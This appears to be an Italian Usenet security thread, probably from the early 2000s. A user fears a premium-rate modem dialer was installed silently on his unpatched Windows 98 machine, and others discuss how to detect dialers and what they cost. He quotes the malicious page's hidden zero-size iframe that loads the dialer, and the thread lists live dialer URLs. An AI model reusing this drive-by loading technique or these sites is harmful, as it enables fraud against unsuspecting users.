Newsgroup: it.comp.sicurezza.windows
Titolo: Per cortesia, mi dite che tipo di dialer c'è qui?

salve,
ieri, durante la terza installazione di Win98SE (mi serviva conoscere come
cambiare la cartella di default di OE4) ho commesso la leggerezza di
connettermi a internet senza antivirus, senza file hosts, senza firewall e -
follia pura - utilizzando le impostazioni di default di IE6 senza patch (sě,
proprio quelle che mettono il PC a pi greco mezzi e accendono delle
segnalazioni luminose per guidare quanto di piů penetrante si trovi in
rete).
Sě lo so, lo so... il punto č che pensavo di essere ancora alla seconda
installazione e di averle giŕ fatte quelle modifiche... : ((( -
Tramite google sono capitato in un sito con le tips di OE (non ci andate con
le brache calate come ho fatto io, ma credo sia stato quello su fortunecity
http://members.fortunecity.com/kathyl/
) che ha aperto a mia insaputa un
popunder a questo sito di *****
http://64.237.46.147/sms-universe/free-sms-uni.html
che suppongo abbia invocato questa pagina
http://64.237.46.147/fort.php
che contiene la linea
<iframe src="
http://securegameloader.com/start.php?game=1
" width="0"
height="0" border="0" scrolling=NO></iframe>
Io credo che mi abbia installato un dialer e comunque cambiato la
connessione. Lo ritengo in quanto a un certo punto per cambiare pagina mi ha
detto che la connessione era interrotta. Faccio per ricollegarmi e mi dice
che c'č un'altra connessione attiva di nome "all". Mi fiondo sul modem che
aveva tre luci accese /forse/ *on* *arq* e *cs*, non ne sono certo perchč la
mano č volata sull'interruttore mentre con l'altra sollevavo il ricevitore
per metter giů la linea.
Ora vorrei sapere da voi savi: c'č un dialer su quelle pagine, come credo? E
se sě, di che tipo č e come posso eliminarne ogni traccia?
Ah, sapete anche dirmi quanto mi ha pelato al minuto?
Notare che non mi si č aperta nessuna finestra che chiedesse la conferma di
stabilire una nuova connessione, motivo per cui mi piacerebbe anche sapere
se quel sito si puň ricondurre a qualche d'uno in Italia cosě da poterlo
andare a trovare e cagargli dentro casa.
Ho passato - purtroppo postumi - Antivir PE, adaware e spybot (questi ultimi
due non sono aggiornati e non mi fido a connettermi per mezz'ora a internet
se non sono certo di non avere un dialer - questo post č una toccata e fuga)
ma non hanno trovato nulla che si potesse indicare come dialer. (ha beccato
lo spyware di mediaplayer e di IE e un po' di falle potenziali che sono
stata 'chiuse').
Devo reinstallare tutto da zero per essere sicuro di non avere problemi o ci
sono mezzi in grado di rilevare č neutralizzare il problema?
saluti,
Peltio
che non ha una copia del registro per fare un confronto: stavo terminando
l'installazione nella stessa giornata e ho una solo file rb000.cab in
sysbckup. La differenza con l'ultimo registro č immane, oltre 1 MB in
formato compresso, circa due MB una volta esportato in formato testo.Ora mi
metto con l'orecchio al modem per capire il numero che fa... : )

 problema?
Leggi 
http://www.romanelmondo.com/sugg/telecomrideiono.htm
-- 
Andrea
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
  Yahoo ID andrea260272
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ 

Leggi 
http://www.romanelmondo.com/sugg/telecomrideiono.htm
Ti ringrazio, ma paradossalmente ero a conoscenza delle tecniche per
evitarli. E' solo che sono capitato in rete con le brache calate e volevo
sapere se qualcuno che ha una connessione blindata e le capacità per
scaricare il dialer senza infettarsi, sarebbe così gentile da identificare
il dialer in modo da permettermi di prendere contromisure precise.
Spybot, adaware e antivirus non hanno rilevato nulla di anomalo. Ora mi sono
connesso contanto gli scatti del numero che effetta il modem e corrispono a
quello atteso, e intanto tengo sottocontrollo la finestra della connessione
per verificare che il minutaggio non si resetti.
Se sapessi il tipo di dialer potrei disinfestare il sistema di sicuro
evitando una lunga e noiosa reinstallazione (ci ho messo quasi due giorni a
reinstallare tutto ed ero a un passo dalla creazione dell'immagine della
partizione da tenere a futura memoria : ((( )
saluti,
Peltio
(forse it.comp.sicurezza.virus è più indicato per questo tipo di problemi?)

 problemi?
Non credo.


Dopo aver controllato che il sistema sia pulito (come spiegato)
Beh, non  ho trovato nulla con le scansioni indicate, per quello volevo
identificare il tipo d dialer (ammeso che ci sia, ma sento che c'è). Ma
siamo sicuri che la condizione indicata sul tuo sito oltre che necessaria
sia anche sufficiente per non essere infettati da un dialer?
Comunque adesso ho messo su un SO di emergenza  che dovrebbe permettermi di
visitare di nuovo il sito e scaricare il dialer, o comunque beccare il
numero al lancio della connessione.
(ho scoperto che la diagnostica del modem mi fornisce l'ultimo numero
composto.
Grazie comunque per le info.
saluti,
Peltio

se non sono certo di non avere un dialer
Guarda che IP ti viene assegnato. Per esempio ora e' 62.98.28.11 e quindi
sei con Wind, non con il dialer.
Leonardo
-- 
In nessun caso Microsoft, o i suoi fornitori, saranno responsabili per
[...] omissione di rispetto di obblighi, incluso quello di comportarsi
in buona fede o ragionevole diligenza
                                     -- Contratto di Licenza Microsoft

 alla risposta.
Eh, non č proprio cosě. Ci sono dialer da 10 e da 20 euro a botta. 
Una vera schifezza all'italiana.
-- 
A computer scientist is someone who fixes things that aren't broken.
News 2000 [v 2.06] / StopDialer / PopDuster - 
http://www.socket2000.com
Akapulce portal: 
http://www.akapulce.net

Una vera schifezza all'italiana.
'azzo, sono rimasto indietro!
Cosa sono, le nuove numerazioni che hanno messo su dopo l'899?
Minchia, 20 euro a botta 8-|


Una vera schifezza all'italiana.
No, dai, dimmi che è una battuta.
Che per venti euro gli vado davvero a cagare in casa.
E denu8ncio telecom per complicità, visto che l'ambaradan se è partito lo ha
fatto senza mostrare le informazioni sui costi. Cazzo, è  la volta buona che
blocco i pagamenti a telecom e passo a un altro operatore.
saluti,
Peltio

trovarlo; cagargli dentro casa e' violazione di domicilio, non merita.
Beh, quello che mi ha fatto lui con il dialer io lo considero alla stregua
dell'appropriazione indebita.
grazie e saluti,
Peltio

 Che per venti euro gli vado davvero a cagare in casa.
Da 20 euro io non li ho ancora trovati personalmente per la verità, 
ma ne ho avuto segnalazione. Questo, per esempio è da 12,40 
http://www.euro-download.com/mp3/enter.htm
I 10 euro 
http://www.italyminutes.com/
Sono comunque botte se, per esempio, il dialer è stronzo e dopo la 
disconnessione ne ritenta un'altra...
-- 
To be, or not to be, those are the parameters.


I 10 euro
Ah, non ho dubbi che ne esistano.
saluti,
Peltio,
alle prese con un altro Geller (chissà se è parente...)

 alle prese con un altro Geller (chissà se è parente...)
uhu?
-- 
Sure it's user-friendly...if you know what you're doing.


modalita provvisoria e mi dice che è tutto pulito.
Doveva essere un dialer da una-botta-e-via, e probabilmente e' legato
a un banner che non passa molto spesso. Cosi' se uno ritorna in cerca
del softwarino, non lo trova e pensa di averlo beccato altrove.
Ci sta che scaricasse poco piu' che un file .DUN.


 del softwarino, non lo trova e pensa di averlo beccato altrove.
http://snipurl.com/abal
-- 
I do not fear computers.  I fear the lack of them.  - Isaac Asimov


uhu?
http://www.samspade.org/t/lookat?a=http%3A%2F%2Fsecuregameloader.com
saluti,
Peltio
che quantomeno è un compare

Si'. O era una domanda retorica? :-)
No, non era retorica purtroppo
In italia di truffe legalizzate ce ne sono parecchie.
A questo punto sono curioso di sapere se è possibile chiedere a telecom,
previa denuncia alla poliza postale, di non pagare lo str..ano individuo
titolare della numerazione a valore aggiunto.
Uhm... servono delle prove, immagino.
Faccio prima a andare a cagargli in casa.
saluti,
Peltio
leggermente incazzato
(il leggermente è solo per dire)


http://snipurl.com/abal
Vedo, vedo. Belle merde, 'un c'e' che dire.
Quasi quasi, l'idea di Peltio...



Dai...!...sono di lusso....! eh eh
*__^
-- 
Walter